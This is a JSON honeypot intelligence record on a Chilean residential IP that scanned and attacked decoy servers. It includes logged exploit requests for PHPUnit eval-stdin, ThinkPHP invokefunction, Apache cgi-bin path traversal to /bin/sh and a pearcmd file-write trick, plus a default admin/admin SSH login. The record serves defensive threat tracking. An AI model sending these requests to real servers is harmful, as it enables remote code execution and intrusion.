{"ip":"190.171.189.85","data_as_of":"2026-10-27T00:41:06+00:00","observed":true,"total_events":152,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,839,064 bytes, which is sustained payload delivery.","Counts include 3 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive login(s) succeeded."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,839,064 bytes sent","bytes_sent":1839064,"session_seconds":35,"persistent":false},"basis":"combined"},"first_seen":"2026-10-15T19:23:29","last_seen":"2026-10-26T17:23:29","events_24h":49,"events_7d":101,"interactive_sessions":3,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"http","sessions":2},{"protocol":"ssh","sessions":1}],"geo":{"country_code":"CL","country_name":"Chile","region":"Santiago Metropolitan","city":"Santiago","lat":-33.4521,"lon":-70.6536,"asn":16629,"org":"CTC. CORP S.A. (TELEFONICA EMPRESAS)"},"source_domain":"190-171-189-85.empresas.movistar.cl","known_scanners":[],"scanner_tag":{"key":"peeringdb:as16629","label":"CTCCORP","category":"isp","url":"https://www.peeringdb.com/asn/16629"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","confirmed_by":"interactive_session","sessions":1,"kev_date_added":"2022-02-15"},{"cve_id":"CVE-2019-9082","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":3,"first_seen":"2026-10-16T16:02:24","last_seen":"2026-10-22T20:05:35","verdicts":[{"verdict":"exploit-attempt","sessions":1},{"verdict":"unknown","sessions":1},{"verdict":"credential","sessions":1}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1","sessions":1},{"persona":"linux-ubuntu@20.04","sessions":1},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"http","port":443,"sessions":1},{"protocol":"ssh","port":2222,"sessions":1},{"protocol":"http","port":80,"sessions":1}],"logins":[{"username":"admin","password":"admin","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-16T16:02:23"}],"commands":[],"downloads":[],"files":[{"sha256":"39fb1ae987e5b03e4e0c6e98fdb53f1257735acf23808833c7017830731ddde0","name":"phpunit-eval-stdin","size":33,"mime_type":"text/x-php","kind":"payload","times":1,"first_seen":"2026-10-19T17:47:50","last_seen":"2026-10-19T17:47:50","virustotal":{"sha256":"39fb1ae987e5b03e4e0c6e98fdb53f1257735acf23808833c7017830731ddde0","status":"known","malicious":0,"total":74,"name":"lzddx06o.exe"}}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":1},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":98,"sessions":1},{"port":80,"proto":"tcp","label":"HTTP","count":49,"sessions":1},{"port":2222,"proto":"tcp","label":"SSH-alt","count":3,"sessions":1},{"port":2375,"proto":"tcp","label":"Docker","count":2,"sessions":0}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303b2055b11fd311c2c2817119d3a0401280d45ad4df6ea76ea28403491ed1ae8ee20f2f809ae9218743adb391970535c26067190efaff6058dbe5db1f0613cd58ba300244a4a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548aaaa000000170000ff01000100000a000c000acaca11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edcaca00010011ec04c0f2b740bc2c7bf443092dd37bbbb3086a4863be18cfc4a2309d9aa5cfa4b2a747a499220af9c02221313436e87f81b50a8ff2be437ac631698f5b286bbe3b3d98b68c3c7909533231e4eb2f23b16328510b8bc75d729c25aa1133ffa862e75261d27c6d764cb67bd7bb2d55a2a1a91dde441fe17963543a0b89a1c05584c4efe7c17ff0197687a433a21a2d43ca8a049241e5bcc75b7df3427ba9cb3af5a56f3a1c6d3ca5a98c2a13e0710911365755580bbc254436253a5f6689b4dc628c3554f27887e864b39413b8ff952aa79136079ca76594343ff1b17d0b12668873460101606049f7b795f717c7afba101066a72b76464f732385d33ac91727ae8223ad96b673922d2f93107b550fdc9548d9245febe98d8c05aa13423333966e9622020777ce752aa8b2735d1618b07c0592b0d374033919941c6d45e5bd2a006eccbc67dfb64f16e78687f77a25818203a86b7ccc0ca6d0aa64aab737ba1cf7ec1528b543deb8ae99955857cc5e8594bf68ac6ec317a528710c06a034be028f00c6951b9c27239337d7d308df8b18de5492363819675b942235b472a5588309438fb27bd7502f816b5546bb58a84c95f1ab3ff5045edcf1924d3a5a0d3324c35c18538a8034b76bd685486dc3aa661cb3f7b538304621caeaca77f06df3d114b7e50a25c366b3eaa3f25109452559418cc689d205f9d9bc58480ffb75bc20d58607a961ea960b820b5f09f4210b8126700cb5d4cc454df50bad5a827e827f30fc6e698c1588bb8c2d0b2d67b03df4ec5b677820c46a1114c7ae4ff382ca1c53e4872ec96bcb4363301a7b040735618a040bbc3c3202d1999f726372c0a603a1a07961562c195a94514e39ec908d971d5510a27331040e03991923567ce50bc0b09ab2eb537f0cb2621b3e65f9cacd393fb737809a1a33b13704906b8a6b215de6a2b2e551248aec0ada481bf3d33d60e093a5f0573cb850db60b19b8358ad23905f991aa30a6dca482c6f776cfed8847133b63c44c768502f3b9c91031074ae852b5713cf84b81f6b332fbc2985b364868064c08d26ca27fc0fd0ba1d829624d4f3b6fbb2a5d5b40bed907717c55ed6dc4845ccb1ce7663129a3b8eb134272c9810075de8d9277225846020883982b3e8caa3cba971bb6b2e00da867382bf0040780575324d285352bcb1f9a3039721b8ba348919c8c11bd23e0973801d927cd6f793e5d4692555c40e7784cfc839ffb2b85f35c0a8d467e2168462d9c129507a99704a87bb7568175b9b1a95787108e6e2c115e03a7c582d0041a8e9584a1bc89c9db5bafba1419391ac5507b8ff87011ef2a3e54501dfe61c2b1b1d0038149a5b8983134d40455d5cd53f397170f9b15aa840152659c63d968ad86687ccf110e679ae2ed30d2de7c7a7c71f69d637a3d1282d5823273b82e29477416a621d7b8b7243a908c245159606faec55d8f9248630190e2b74727bad44b98b58989d74f5556e1c682a4907516a60194174ed27c4db36008a39c22a253902819b516b3bad087980e85cfcec6b26f6972ce4342f38b8d0ec3713ec9799829c94253e08866344fb2752a81f5dcc64d884a86ed2c9d3744e2d964195e095162a2cf7d66304e3bbdbcbfeb532a77d32f793efbb62662536f3924a4b654193355c0702bfcf55fa9b982712fd3d8f91e6dba9b21f2b0a27e67b1d560396458cee62b4e7c242619260001d0020993b13c21e590f4596f51e6a0c8c8af3b154e6cc8d07cd7062ee3ebdcf668918002d00020101002b000706dada030403036a6a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":151,"19532158b559096b89b1a5f7d17175b2":188,"b11cun050_00040035_dd905059":273,"b11cuq070_00050835_c0b30902":225},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-15","count":1,"sessions":0},{"date":"2026-10-16","count":49,"sessions":1},{"date":"2026-10-18","count":1,"sessions":0},{"date":"2026-10-19","count":0,"sessions":1},{"date":"2026-10-22","count":1,"sessions":1},{"date":"2026-10-23","count":49,"sessions":0},{"date":"2026-10-25","count":2,"sessions":0},{"date":"2026-10-26","count":49,"sessions":0}],"recent_events":[{"timestamp":"2026-10-26T17:23:29","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":49,"duration_ms":17248,"bytes_in":19117,"bytes_out":3871},{"timestamp":"2026-10-26T17:23:28","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":48,"duration_ms":16891,"bytes_in":18964,"bytes_out":3792},{"timestamp":"2026-10-26T17:23:28","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":47,"duration_ms":16255,"bytes_in":18777,"bytes_out":3713},{"timestamp":"2026-10-26T17:23:27","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":46,"duration_ms":15906,"bytes_in":18520,"bytes_out":3634},{"timestamp":"2026-10-26T17:23:27","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":45,"duration_ms":15562,"bytes_in":18273,"bytes_out":3555},{"timestamp":"2026-10-26T17:23:27","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":44,"duration_ms":15219,"bytes_in":18033,"bytes_out":3476},{"timestamp":"2026-10-26T17:23:26","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":43,"duration_ms":14902,"bytes_in":17762,"bytes_out":3397},{"timestamp":"2026-10-26T17:23:26","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":42,"duration_ms":14612,"bytes_in":17490,"bytes_out":3318},{"timestamp":"2026-10-26T17:23:26","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":41,"duration_ms":14326,"bytes_in":17216,"bytes_out":3239},{"timestamp":"2026-10-26T17:23:26","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"9c19583a-15c3-4fd1-83b7-e7e8375821bc","seq":40,"duration_ms":14020,"bytes_in":16943,"bytes_out":3160}],"http_methods":[{"method":"GET","count":135},{"method":"POST","count":28}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/json","count":5,"ports":3},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/LICENSE/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","count":4,"ports":2},{"path":"/","count":4,"ports":1},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":3,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":3,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2}],"distinct_paths_total":51,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":3}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"confirmed_by":"interactive_session","sessions":1,"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2019-9082","tag_type":"cve","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2019-9082","https://www.exploit-db.com/exploits/46150","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-9082"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}